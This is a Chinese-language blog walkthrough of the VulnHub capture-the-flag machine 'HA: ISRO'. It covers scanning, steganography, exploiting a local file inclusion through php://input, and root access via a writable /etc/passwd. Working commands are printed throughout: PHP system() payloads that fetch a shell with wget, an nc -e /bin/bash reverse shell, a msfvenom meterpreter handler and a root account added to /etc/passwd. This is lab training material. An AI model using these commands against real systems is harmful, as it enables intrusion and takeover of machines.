靶機地址
難度:中等
靶機發布日期:2019年10月4日
靶機描述:
This is our tribute to the Indian Space Research Organisation (ISRO). We as Indians are proud of ISRO and its achievements. Solve this CTF challenge and feel the work of ISRO.
This machine contains4 different flags
to test your skills.
- Aryabhata
- Bhaskara
- Mangalyaan
- Chandrayaan 2
ENUMERATION IS THE KEY!!!!!
博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]
工具、知識點和漏洞
netdiscover
nmap
dirb
dirsearch
metaspaloit
msfvenom
binwalk
steghide
LFI漏洞
/etc/passwd可寫
存疑、待解決
- 爲什麼binwalk無法檢測出圖片中包含的flag.txt,而steghide卻可以提取出來?
0x00、信息收集
靶機IP:192.168.0.107
netdiscover -r 192.168.0.0/24
端口和服務
nmap -sS -sV -T4 -A -p- 192.168.0.107
頁面、目錄枚舉
dirb http://192.168.0.107 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.107 -e .php,.txt,.zip,.html
[04:54:33] 301 - 312B - /img -> http://192.168.0.107/img/
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
網站首頁
http://192.168.0.107/bhaskara.html
對L2JoYXNrYXJh進行base64解碼得到/bhaskara
echo 'L2JoYXNrYXJh' | base64 -d
結果讓人喜悅,開始以爲這可能是個目錄吧,然後就訪問了一下,結果下載了一個文件
file命令查看文件類型
bhaskara對應的正是data數據文件。經過一番的google搜索,我們最後使用last
讀取了bhaskara裏面的內容。
其實這裏走偏了,後面再講。
last -x -f Desktop/bhaskara
有一個系統用戶bhaskara?嘗試了hydra爆破ssh和ftp,無果。
然後我到Twitter上問了一下做出來的大兄弟,結果這哥們兒沒發現bhaskara文件。What??那我想他應該少了一個flag
想着頂部導航欄的各個菜單對應的url會不會都有這樣的規律:Bhaskara–>http://192.168.0.107/bhaskara.html,因爲它是可以訪問的。
於是挨個試着訪問了下面的地址:
Aryabhata–>http://192.168.0.107/aryabhata.html
Mangalyaan–>http://192.168.0.107/mangalyaan.html
Chandrayaan 2–>http://192.168.0.107/chandrayaan.html
結果並不是我想的那樣。
connect.php,空白頁面,查看源代碼也是啥也沒有
0x01、aryabhata的flag
http://192.168.0.107/img/
我把img目錄下的所有圖片都下載下來了,挨個用binwalk去檢測是否含有其他文件。其實按照常理推斷,我們的目標肯定是aryabhata.jpg,至少文件名是比較敏感的。
最後使用steghide提取出flag.txt,這裏輸入密碼的地方直接回車就可以了,不知道爲什麼最開始使用binwalk的時候沒有檢測出來。
0x02、發現LFI漏洞
最開始我有想到過connect.php可能有參數的,那個時候我想的是既然名字叫connect,再加上我從下載的那個文件裏面得到了一個用戶名bhaskara,所以我嘗試了connect.php?user=bhaskara,結果並沒有起作用。Twitter上老哥說,What can you do with the php file? Can it have parameters maybe? 於是我猜想這個參數會不會是file?結果還真給我猜對了。
存在文件包含漏洞,測試出了webroot的物理路徑
隨後我用wfuzz想測試一下有哪些文件可讀取,因爲有些請求雖然返回的是200,但是沒有任何內容,所以我用–hl 0過濾掉了這部分。
字典用的是Github上2W+Star的SecLists
wfuzz -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl 0 http://192.168.0.107/connect.php\?file\=FUZZ
把重複的內容過濾之後剩下了這些可讀的默認路徑文件
- /etc/passwd
- /etc/group
- /proc/self/stat
- /proc/self/status
- /etc/mysql/my.cnf
- /etc/vsftpd.conf
手工測試的時候還發現了
- /etc/issue
Uid是33,說明運行apache服務的系統用戶是www-data
/etc/vsftpd.conf
0x03、getshell
getshell的過程如下:
- /proc/self/environ無法訪問,所以shell via LFI - proc/self/environ method無法使用。
- 沒有開啓SMTP服務,所以利用SMTP日誌+LFI本地文件包含進行getshell無法使用。
- 無法讀取/var/log/auth.log或者沒有權限,nmap掃描的時候發現安裝的是openssh 7.6p1,google搜索了一下"openssh log location"
- 嘗試讀取了/etc/ssh/sshd_config,沒什麼有價值的信息,RCE with LFI and SSH Log Poisoning也就用不了.
- /var/log/apache2/access.log的內容沒有讀取到,From Local File Inclusion to Remote Code Execution - Part 1也就用不了
嘗試了這篇文章裏的方法local-file-inclusion-remote-code-execution-vulnerability,成功讀取到phpinfo信息,步驟如下:
第一步,使用Burpsuite對connect.php
頁面進行抓包;
第二步,修改GET請求爲POST請求,並將file參數值設爲php://input
;
第三步,增加POST請求內容<?php phpinfo(); ?>
;
第四步,發送請求,之後爲了方便查看返回的內容,我使用了Burpsuite裏面的Render以達到在瀏覽器上訪問頁面的效果。
既然這樣我想就可以用下面這個方法上傳shell了,但是過程並不順利
<?php system('wget http://x.x.x.x/php-shell.php -O /var/www/html/shell.php'); ?>
ifconfig命令查看kali的IP爲192.168.0.110
msfvenom生成webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=1234 R > shell.php
記得把下圖中紅框部分的兩個字符刪除
msfconsole準備接收反彈的shell
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.110
set lport 1234
run
瀏覽器上訪問http://192.168.0.107/shell.php,狀態碼200,但是msfconsole並沒有接收到shell。隨後我用同樣的方法上傳了phpinfo.php,然後瀏覽器訪問時正常顯示。
那麼爲什麼shell沒有反彈?檢查了一遍本地的shell.php,沒有什麼問題,而且之前也都用了好多遍的。那麼靶機上的shell.php是否是“正常”的。從下圖中可以看到已經上傳上去了。
或者
嘗試查看shell.php的內容時,卻返回了400的請求
或者
嘗試將shell代碼進行base64編碼
以下payload均需base64編碼
- <?php phpinfo(); ?>是可以成功執行的;
- <?php echo"xxxx"; ?>也是可以成功執行的;
- <?php system('ls'); ?>也是可以成功執行的;
- <?php system('wget http://192.168.0.110/shell.php -O php-shell.php'); ?> 狀態碼500
- <?php system('ls -la'); ?>也是可以執行的
- <?php system('nc -e /bin/bash 192.168.0.110 6666'); ?>狀態碼500。這個是因爲靶機是Ubuntu的,nc默認是無法使用-e參數的。
最後我直接把msfvenom生成的webshell代碼進行base64編碼,然後使用發送請求,成功getshell
0x04、獲取root權限
查找SUID權限可執行文件
目前我知道的可以提權的SUID權限可執行文件有:
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
故排除SUID提權的可能性。
查看全局可寫目錄,並沒有發現有價值的信息
查找全局可寫文件,結果中獎了,發現/etc/passwd文件可寫,這不就等於已經提權成功了麼,哈哈哈
find / -writable -type f 2>/dev/null
openssl生成密文
openssl passwd -1 -saltvalue ins1ght
在/etc/passwd最後一行增加如下內容:
ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash
這裏我沒有用vim或nano去編輯/etc/passwd。nano我沒在這個靶機裏面用成,因爲報錯了;用vim的時候我習慣先用上下左右鍵移動光標到最後一行,但是這個pty裏面用不了。我這裏是用echo命令將內容附加到/etc/passwd文件中的。
echo 'ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash' >> /etc/passwd
su
切換至root權限
su ins1ght
0x05、bhaskara的flag
Twitter上問了一下作者下載得到bhaskara文件是個什麼玩意兒,得到如下回復:
Github上找到別人寫好的獲取TrueCrypt文件hash值的腳本truecrypt2john.py
python truecrypt2john.py Desktop/bhaskara > hash
john -wordlist=/usr/share/wordlists/rockyou.txt hash
得到密碼xavier
下載VeraCrypt用來打開bhaskara,VeraCrypt下載地址,我這裏下載的是Debian-9的版本,下載後校驗sha256,校驗通過後進行安裝。
sha256sum Desktop/veracrypt-1.24-Debian-9-amd64.deb
dpkg -i Desktop/veracrypt-1.24-Debian-9-amd64.deb
打開bhaskara文件
出現上圖中錯誤是因爲沒有勾選TrueCrypt Mode,見下圖。
之後會掛載一個光驅,大家的圖標可能略有不同
0x06、Mangalyaan的flag
關於下面這個flag的獲取方法我是看了作者寫的Walkthrough,地址在這裏ha-isro-vulnhub-walkthrough。嗯~如果沒有Tizi的話,文章裏面的圖片是看不了的……這個我也沒招兒
之前nmap掃描端口和服務的時候並沒有發現3306端口,但是其實靶機是開了3306端口的,並且只能在本地訪問
登錄數據庫(沒有密碼),讀取flag
show databases;
use flag;
show tables;
select flag from flag;
至此,靶機的4個flag都拿到了。
如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。更多VulnHub靶機的Walkthrough,請訪問本人博客(https://blog.csdn.net/weixin_44214107)。歡迎掃描下方個人微信二維碼與我交流。我是ins1ght.